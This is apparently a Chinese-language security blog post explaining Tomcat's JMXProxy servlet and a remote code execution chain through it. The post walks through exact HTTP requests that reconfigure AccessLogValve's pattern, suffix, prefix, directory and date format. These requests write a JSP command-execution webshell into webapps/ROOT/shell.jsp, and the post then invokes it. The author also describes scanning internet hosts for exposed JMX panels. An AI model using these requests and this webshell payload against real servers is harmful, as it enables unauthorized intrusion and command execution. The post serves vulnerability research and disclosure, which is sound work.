前言:在介绍该利用方式之前有必要先进行一些说明
(1)不影响默认配置的Tomcat但利用方式前置条件并非罕见
(2)该利用方式本身不属于Tomcat的安全问题,但存在安全风险
(3)该利用方式为利用链中的一环,配合第三方平台未授权访问或弱口令可以直接利用
JMX与Tomcat无关,在Java官方文档对于JMX的定义如下:
JMX(Java Management Extensions)是一个为应用程序植入管理功能的框架。JMX是一套标准的代理和服务,实际上,用户可以在任何Java应用程序中使用这些代理和服务实现管理。
用人话来说:JMX让程序有被管理的功能,例如某Web网站是在24小时不间断运行,那么对网站进行监控是必要的功能;又或者在业务高峰的期间,想对接口进行限流,就必须去修改接口并发的配置值。
借用网上博客一张图:一般JMX会通过Adapter实现Web管理页面,例如Zabbix和Nagios等工具对于JVM的监控实现,老一些的平台比如JDMK和MX4J等。
┌─────────┐ ┌─────────┐ │jconsole │ │ Web │ └─────────┘ └─────────┘ │ │┌ ─ ─ ─ ─│─ ─ ─ ─ ─ ─ ┼ ─ ─ ─ ─ JVM ▼ ▼ ││ ┌─────────┐ ┌─────────┐ ┌─┤Connector├──┤ Adaptor ├─┐ ││ │ └─────────┘ └─────────┘ │ │ MBeanServer │ ││ │ ┌──────┐┌──────┐┌──────┐ │ └─┤MBean1├┤MBean2├┤MBean3├─┘ ││ └──────┘└──────┘└──────┘ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┘结合实例来讲,我搭建了一个MX4J的监控平台

进入其中的ClassLoading属性观察:监控到类的属性,并且部分值可以在运行时进行修改

在网上进行搜索可以发现大量类似的JMX管理页面,我们可以实时地修改JVM内部的一些属性
但这种修改大多数情况下是无意义的,顶多由于某些属性为空通过空指针导致拒绝服务这样的鸡肋洞
因此研究如何通过JMX修改变量以实现RCE是比较有意义的研究
Tomcat一直存在一个不是“漏洞”的漏洞:Tomcat Manager导致上传war解压生成webshell的RCE
在tomcat/conf/tomcat-users.xml配置
xxxxxxxxxx<user username="admin" password="<must-be-changed>" roles="manager-gui"/>访问/manager/html输入用户名和密码,即可在里面上传war进行部署

显然这不归Tomcat负责,应该由用户保证自己的账号和密码安全
Tomcat对于Manager的管理页面采用了HTTP Basic认证,也就是用户名密码拼接后Base64编码

如果想要暴力破解这个身份认证其实是不太可能的,因为Tomcat已经考虑到这个问题:参考LockOutRealm类的代码,默认在输入错误5次后会锁定5分钟。这也是Tomcat官方拒绝该漏洞的原因之一
xpublic class LockOutRealm extends CombinedRealm { /** * The number of times in a row a user has to fail authentication to be * locked out. Defaults to 5. */ protected int failureCount = 5;
/** * The time (in seconds) a user is locked out for after too many * authentication failures. Defaults to 300 (5 minutes). */ protected int lockOutTime = 300;}
其实值得关心的是:Tomcat并不仅仅支持管理页面,同时支持API和JMXProxy(本文重点)
发现如果API可以未授权访问也会导致严重的安全问题
使用API的方式是:http://{host}:{port}/manager/text/{command}?{parameters}
使用API部署WAR包:
xxxxxxxxxxhttp://localhost:8080/manager/text/deploy?path=/footoo&war=file:/path/to/foo
接下来是本文的重点,在Tomcat Manager中还有一种特殊的管理:JMX Proxy Servlet
参考 Tomcat 9.0 官方文档 中的描述,翻译后为:
JMX Proxy Servlet是一个轻量级代理,用于获取和设置Tomcat内部或任何已通过MBean公开的类。它的使用不是非常用户友好,但对于集成命令行脚本以监视和更改Tomcat的内部结构非常有帮助。您可以使用代理做两件事:获取信息和设置信息。要真正了解 JMX Proxy Servlet,您应该对 JMX 有一个大致的了解。如果您不知道 JMX 是什么,那么请准备好被迷惑(不知道怎么解释confused这个词就用迷惑了)
直接阅读这段话可能不能够理解,通过开头对JMX概念的描述,应该问题不大。Tomcat提供了JMX的Agent或者说API给用户,而用户一般不是直接手动管理,而是会选择第三方平台进行管理。
参考示例,例如我们需要监控运行时的堆内存使用情况
xxxxxxxxxxhttp://webserver/manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage执行后得到的结果
xxxxxxxxxxOK - Attribute get 'java.lang:type=Memory' - HeapMemoryUsage = javax.management.openmbean.CompositeDataSupport// ......contents={committed=308281344, init=534773760, max=7602176000, used=106332232})不仅可以监控JVM属性也可以修改JVM中的一些属性,例如开头JMX篇章中提到的一个场景:
在业务高峰的期间,想对接口进行限流,就必须去修改接口并发的配置值。
在JMXProxy中也提供了修改一些变量的方法
xxxxxxxxxxhttp://webserver/manager/jmxproxy/?set=BEANNAME&att=MYATTRIBUTE&val=NEWVALUE
参数:
BEANNAME(类似类名)另外支持命令调用,不过这一点我并没有做深入研究(也许一些特殊命令组合存在漏洞?)
xxxxxxxxxxhttp://webserver/manager/jmxproxy/?invoke=BEANNAME&op=方法名&ps=参数总结:
JMXProxy提供Tomcat的JMX接口给第三方平台分析和管理
用于监控Tomcat内部并且支持部分变量的修改
本节内容是针对Tomcat的JMXProxy如何实现RCE
换句话来说:哪些JMXProxy支持修改的属性被修改后可以RCE
经过肉眼审计,我发现一个有趣的类(熟悉Spring RCE的师傅应该一眼就能看出来)
AccessLogValve
对应JXMProxy中的描述信息如下,重点关注五个属性:
xxxxxxxxxxName: Catalina:type=Valve,host=localhost,name=AccessLogValvemodelerType: org.apache.tomcat.util.modeler.BaseModelMBeanrotatable: truecheckExists: falseprefix: localhost_access_logpattern: %h %l %u %t "%r" %s %bclassName: org.apache.catalina.valves.AccessLogValvelocale: zh_CNsuffix: .txtdirectory: logsenabled: truestateName: STARTEDbuffered: trueasyncSupported: truerenameOnRotate: falsefileDateFormat: .yyyy-MM-dd
假设以上五个属性可以被设置,那么接下来的RCE之路就很简单了
于是我测试了每一个属性,发现都可以成功修改
RCE的思路如下:
%{header}i从请求头中提取<%等特殊符号webapps/ROOTWebshell
第一步:
xxxxxxxxxxGET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=pattern&val=%25%7b%70%7d%69%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%20%25%7b%73%7d%69 HTTP/1.1Host: 127.0.0.1:8080Connection: closeAuthorization: Basic BASE64(username:password)
这里有一个细节:要求其中的val参数为全部的URL编码
xxxxxxxxxx%{p}i Runtime.getRuntime().exec(request.getParameter("cmd")); %{s}i开头和结尾的特殊符号从请求头的p和s中获取
第二步:
修改日志后缀为:JSP
xxxxxxxxxxGET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=suffix&val=.jsp HTTP/1.1Host: 127.0.0.1:8080Connection: closeAuthorization: Basic BASE64(username:password)
第三步:
修改日志前缀为:shell(当时间格式为空时文件名就是shell.jsp了)
xxxxxxxxxxGET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=prefix&val=shell HTTP/1.1Host: 127.0.0.1:8080Connection: closeAuthorization: Basic BASE64(username:password)
第四步:
修改日志存储目录到可解析JSP的目录:webapps/ROOT
xxxxxxxxxxGET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=directory&val=webapps/ROOT HTTP/1.1Host: 127.0.0.1:8080Connection: closeAuthorization: Basic BASE64(username:password)
第五步:
修改日志文件名日期格式为空,使文件全名为shell.jsp
xxxxxxxxxxGET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=fileDateFormat&val= HTTP/1.1Host: 127.0.0.1:8080Connection: closeAuthorization: Basic BASE64(username:password)
第六步:
发送带有p和s请求头的请求,成功写入一句话
xxxxxxxxxxGET / HTTP/1.1Host: 127.0.0.1:8080Connection: closep: <%s: %>//
RCE:
xxxxxxxxxxGET /shell.jsp?cmd=calc.exe HTTP/1.1Host: 127.0.0.1:8080Connection: close
我将以上发包的过程自动化,成功利用

虽说RCE成功但感觉还是欠了些什么:需要有基础认证才可以触发漏洞
于是有必要研究一下实际的利用
Manager弱口令
我在全网进行搜索,发现了很多这样的第三方平台
找到很多可以直接修改AccessLogValve属性的JMX管理平台,于是我用nmap对这些主机进行扫描
检查了某些端口,开着基于Java的Web服务,99%跑在Tomcat下
存在这样管理页面的IP地址非常多,初步估计至少有几十个
我并没有做过多的尝试和实战,不过很大的概率可以通过JMX修改日志以写入Webshell达到RCE
正如开头所说,虽然Tomcat官方不认可,但我认为该漏洞的危害大于一些Tomcat曾经的RCE CVE
虽然有限制条件,但在整个漏洞利用链中该限制条件可以绕过